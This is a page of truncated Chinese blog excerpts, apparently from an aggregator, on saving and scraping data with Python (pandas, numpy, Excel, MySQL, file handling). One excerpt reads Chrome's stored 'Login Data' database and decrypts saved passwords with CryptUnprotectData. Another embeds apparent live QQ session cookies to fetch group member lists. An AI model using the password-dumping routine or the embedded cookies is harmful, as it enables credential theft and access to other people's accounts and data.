先把原理梳理一下:首先我们要爬取网页的代码,然后从中提取图片的地址,通过获取到的地址来下载数据,并保存在文件中,完成。下面是具体步骤:先确定目标,我挑选的是国服守望先锋的官网的英雄页面,我的目标是爬取所有的英雄的图片页面是这样的 首先做的就是得到它的源代码找到图片地址在哪里这个函数最终会返回网页代码def getHtml(url):html = requests.get(url)return html.text将其先导入文本文件观察 发现图片的地址所在...
把这本压箱底的书拿出来看了下,感觉还不错,就给自己记录一下。JSON,YAML,Pickle,XML和CSV比较适合用于数据交换,主要应用于单一对象而非多个对象的场景。Shelve支持多个对象的持久化为了存储Python中的对象,必须先将其转换为字节,然后再将字节写入文件,这个过程成为序列化,又要数据转化,压缩,编码。这是一本好书,超级烂的翻译,很多文字描述语句都读不通。9.3定义用于持久化的类。书中定义了类,通过jinja2来渲染实例。代...
使用pandas对数据进行保存时,可以有两种形式进行保存 一、对于数据量不是很大的文件,可以放到列表中,进行一次性存储。 二、对于大量的数据,可以考虑一边生成,一边存储,可以避免开辟大量内存空间,去往列表中存储数据。本人才疏学浅,只懂一些表面的东西,如有错误,望请指正! 下面通过代码进行说明 1import pandas as pd2 3 4class SaveCsv:5 6def__init__(self):7 self.clist = [[1,2,3], [4,5,6], [7,8,9...
1import pandas as pd
2import numpy as np
3 data1 = pd.DataFrame(np.arange(12).reshape((3, 4)))
4 data2 = pd.DataFrame(np.random.randn(1, 2))
5 data3 = pd.DataFrame(np.random.randn(2, 3))
6 data4 = pd.DataFrame(np.random.randn(3, 4))View Code--该代码是后续内容所使用到的数据。使用Pandas数据库对Excel文件进行写入并保存--追加并保存多个sheet时覆盖原excel表数据与不覆盖的情况# 1.使用文件.to_excel ---覆盖原...
#coding:utf-8import os
import sys
import sqlite3
import win32cryptdirectory_path = r‘Google\Chrome\User Data\Default\Login Data‘
file_path=os.path.join(os.environ[‘LOCALAPPDATA‘],directory_path)
conn=sqlite3.connect(file_path)
cursor = conn.cursor()
cursor.execute(‘select username_value, password_value, signon_realm from logins‘)
for data in cursor.fetchall():passwd = win32crypt.CryptUnprote...
本实例实现了抓取网易云课堂中以‘java’为关键字的搜索结果,经详细查看请求的方式为post,请求的结果为JSON数据具体实现代码如下:import requests
import json
finalstr = ‘‘#初始化字符串
totlePage = 0 #初始化总页数
test = 0 #初始化数据总条数
url = ‘http://study.163.com/p/search/studycourse.json‘
headers = {‘content-type‘: ‘application/json‘}def getD...
在旧版的python中有个urllib模块,内有一个urlopen方法可打开网页,但新版python中没有了,新版的urllib模块里面只有4个子模块(error,request,response,parse),urlopen方法位于request子模块下。from urllib import requesturl = "http://www.163.com"#网页地址
wp = request.urlopen(url) #打开连接
content = wp.read() #获取页面内容
fp = open("a1.txt","w+b") #打开一个文本文件
fp.write(content) #写入数据
fp.close() #关...
pymysql------操作mysql数据库openpyxl------操作excel表 连上mysql操作:1、打开数据库import pymysqldb=pymysql.connect(host,user,password,database)2、使用cursor()方法创建一个游标对象cursor=db.cursor()3、执行操作a、数据库插入 try: curcor.excute(sql) db.commit()except: db.rollback()b、数据库查询(fetchone()--该方法获取下一个查询结果集。结果集是一个对象、fetchall()-----接收全部的返回结果行.)cu...
1import urllib22import cookielib3import pdfkit4 5 cj = cookielib.LWPCookieJar()6 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))7 urllib2.install_opener(opener)8 url = "https://www.taobao.com/" 9 req = urllib2.Request(url)
10‘‘‘ 保存html到本地‘‘‘11 operate = opener.open(req)
12 msg = operate.read()
13 document = ‘D://1.html‘14 file_ = open(...
源码:# 读文件里面的数据转化为二维列表def Read_list(filename):file1 = open(filename+".txt", "r")list_row =file1.readlines()list_source = []for i in range(len(list_row)):column_list = list_row[i].strip().split("\t") # 每一行split后是一个列表list_source.append(column_list) # 在末尾追加到list_source file1.close()return list_source#保存二维列表到文件def Save_list(list1,filename):fil...
想一想,还是写个完整的代码,总结一下前面学的吧。import requests
import re# 获取网页源码
url = ‘http://www.ivsky.com/tupian/xiaohuangren_t21343/‘
data = requests.get(url).text#正则表达式三部曲
#<img src="http://img.ivsky.com/img/tupian/t/201411/01/xiaohuangren-009.jpg" width="135" height="135" alt="卑鄙的我小黄人图片">
regex = r‘<img src="(.*?.jpg)"‘#匹配网址
pa = re.compile(regex)#转为pattern对...
import osimport jsonpathimport requestsdef save_jpg(qun): qun_url = "https://qun.qq.com/cgi-bin/qun_mgr/search_group_members" # 群管理URL qun_data = {"gc": qun, "st": 0, "end": 40, "sort": 0, "bkn": "1491271352"} # 群管理入参 qun_cookie = "pgv_pvid=6781060641; pgv_pvi=4527042560; tvfe_boss_uuid=bb0dca750dec4f2a; XWINDEXGREY=0; mobileUV=1_170385b99a4_66029; RK=KaTcs5izUF; ptcz=2f3ee47046...
用Python中的os和numpy库对文件夹及处理数据后得到的文件进行分类保存;import numpy as npimport osfor m in range(699,0,-35): cur_dir=‘F:/2019_09_01/‘ folder_name=‘partdata_0_‘ if not os.path.exists(cur_dir+folder_name+str(m)): os.mkdir(os.path.join(cur_dir,folder_name+str(m))) else: pass for j in range(4,11): np.savetxt(os.path.join(‘F:/2019_09_01/partdata_0_‘...
#encoding=utf-8import os import os.path import shutil def moveFileto(sourceDir, targetDir): shutil.copy(sourceDir, targetDir)target = raw_input(‘targetDir‘)filename = raw_input(‘enter pathfile name:‘)fobj = open(filename,‘r‘)for x in fobj: print x; source = x.strip(‘\n‘) #去除行尾\n moveFileto(source,target)fobj.close()原文:http://www.cnblogs.com/lovely7/p/5728384.html
在经常性读取大量的数值文件时(比如深度学习训练数据),可以考虑现将数据存储为Numpy格式,然后直接使用Numpy去读取,速度相比为转化前快很多.下面就常用的保存数据到二进制文件和保存数据到文本文件进行介绍:1.保存为二进制文件(.npy/.npz)numpy.save保存一个数组到一个二进制的文件中,保存格式是.npy参数介绍numpy.save(file, arr, allow_pickle=True, fix_imports=True)file:文件名/文件路径
arr:要存储的数组
allow_pickle:布尔值...